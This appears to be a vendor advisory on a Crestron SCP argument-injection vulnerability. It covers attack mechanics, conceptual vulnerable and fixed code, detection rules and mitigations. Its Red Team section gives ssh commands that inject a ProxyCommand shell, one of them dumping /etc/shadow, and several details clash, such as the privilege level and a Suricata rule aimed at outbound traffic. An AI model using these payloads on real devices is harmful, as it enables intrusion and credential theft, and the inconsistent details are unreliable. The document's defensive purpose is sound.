CVE-2025-47421

Executive Summary

CVE-2025-47421 is a critical Argument Injection vulnerability affecting multiple Crestron touchscreen and AV distribution products. The flaw resides in the improper neutralization of argument delimiters within a command, specifically when processing SCP commands sent via SSH login strings. An authenticated administrator can exploit this to gain privileged operating system access on the device. The vulnerability impacts firmware versions 3.001.0031.001 through 3.001.0034.001 across a wide range of Crestron hardware, including TSW-x70, TSW-x60, TST-1080, AM-3000/3100/3200, Soundbar VB70, HD-PS622/621/402, HD-TXU-RXU-4kZ-211, and HD-MDNXM-4KZ-E. No public proof-of-concept or patch is currently available, making this a high-risk zero-day for enterprise environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Crestron hardware.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that a full vector has not been assigned by NVD. However, based on the nature of the vulnerability (argument injection leading to privileged OS access), the likely severity is Critical (CVSS 9.0-10.0). The attack vector is network-based (SSH), requires low complexity, low privileges (administrator), and no user interaction. The impact on confidentiality, integrity, and availability is high.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Deep Dive & Mechanics

The vulnerability is an Argument Injection (CWE-88) in the SCP command handler of Crestron touchscreens. When an administrator initiates an SCP file transfer via SSH, the device fails to properly sanitize argument delimiters (e.g., spaces, quotes, semicolons) in the login string. An attacker can craft a malicious SCP command that includes additional arguments, such as -o or -l, to execute arbitrary commands on the device's operating system.

Attack Flow:

1. The attacker gains valid administrator credentials (e.g., via phishing, default passwords, or brute force).
2. The attacker connects to the Crestron device via SSH and issues a crafted SCP command, e.g., scp -o "ProxyCommand=sh -c 'malicious_command'" user@target:/file /local/path.
3. The device's SCP handler interprets the injected arguments, executing the attacker's payload with root privileges.
4. The attacker gains full OS-level access, allowing persistence, lateral movement, or data exfiltration.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly passes user input to SCP command
void handle_scp(char *user_input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "scp %s", user_input);
    system(cmd);
}

Patched Code (Conceptual):

// Patched: Sanitizes input and uses safe API
void handle_scp(char *user_input) {
    // Validate and sanitize input
    if (!is_valid_scp_args(user_input)) {
        log_error("Invalid SCP arguments");
        return;
    }
    // Use execve with fixed arguments
    char *args[] = {"scp", "--", user_input, NULL};
    execve("/usr/bin/scp", args, environ);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid administrator credentials for the Crestron device.
• Network access to the device's SSH port (default 22).

Exploitation Steps:

1. Identify vulnerable Crestron device (e.g., TSW-x70) via Shodan or internal scanning.
2. SSH into the device as an administrator.
3. Execute a crafted SCP command to inject arguments:

   ssh admin@<target_ip> "scp -o 'ProxyCommand=sh -c \"id > /tmp/pwned\"' /etc/passwd /tmp/"
   

4. Verify execution by checking for the /tmp/pwned file or other indicators.

Alternative Payload:

ssh admin@<target_ip> "scp -o 'ProxyCommand=sh -c \"echo \\\"$(cat /etc/shadow)\\\" > /tmp/hashes\"' /dev/null /tmp/"

Blue Team

Detection:

• Monitor SSH logs for unusual SCP commands with -o or ProxyCommand options.
• Alert on SCP commands containing shell metacharacters (e.g., ;, |, $()).
• Use network monitoring to detect outbound connections from Crestron devices to unknown IPs.

Honeypot:

• Deploy a fake Crestron device on a isolated VLAN to capture exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • SSH connections to Crestron devices with SCP commands containing -o ProxyCommand.
  • Outbound connections from Crestron devices to external IPs on non-standard ports.
• File System:
  • Unexpected files in /tmp/ (e.g., pwned, hashes).
  • Modified system binaries or scripts.
• Process:
  • Unusual scp processes with -o flags.
  • Shell processes spawned by scp (e.g., sh -c).

Detection Engineering

YARA Rule

rule CVE_2025_47421_Crestron_SCP_Injection {
    meta:
        description = "Detects SCP command injection attempts against Crestron devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47421"
    strings:
        $scp_inject = /scp\s+-o\s+ProxyCommand/i
        $shell_meta = /[;|$(){}]/
    condition:
        $scp_inject and $shell_meta
}

Sigma Rule

title: Crestron SCP Argument Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SCP commands with suspicious arguments targeting Crestron devices
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/scp'
        CommandLine|contains: '-o ProxyCommand'
    condition: selection
falsepositives:
    - Legitimate administrative use of SCP with ProxyCommand (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2025-47421 Crestron SCP Argument Injection"; flow:to_server,established; content:"scp"; nocase; content:"-o"; distance:0; content:"ProxyCommand"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict SSH Access: Limit SSH access to trusted IPs only via firewall rules.
2. Change Default Credentials: Ensure all Crestron devices use strong, unique administrator passwords.
3. Monitor Logs: Enable detailed SSH logging and monitor for suspicious SCP commands.

Long-Term Fix:

• Apply firmware updates from Crestron once available (currently UNPATCHED).
• Implement network segmentation to isolate Crestron devices from critical systems.
• Use SSH key-based authentication instead of passwords.

Workaround:

• Disable SCP functionality if not required, or replace with SFTP using a patched implementation.

Valters IT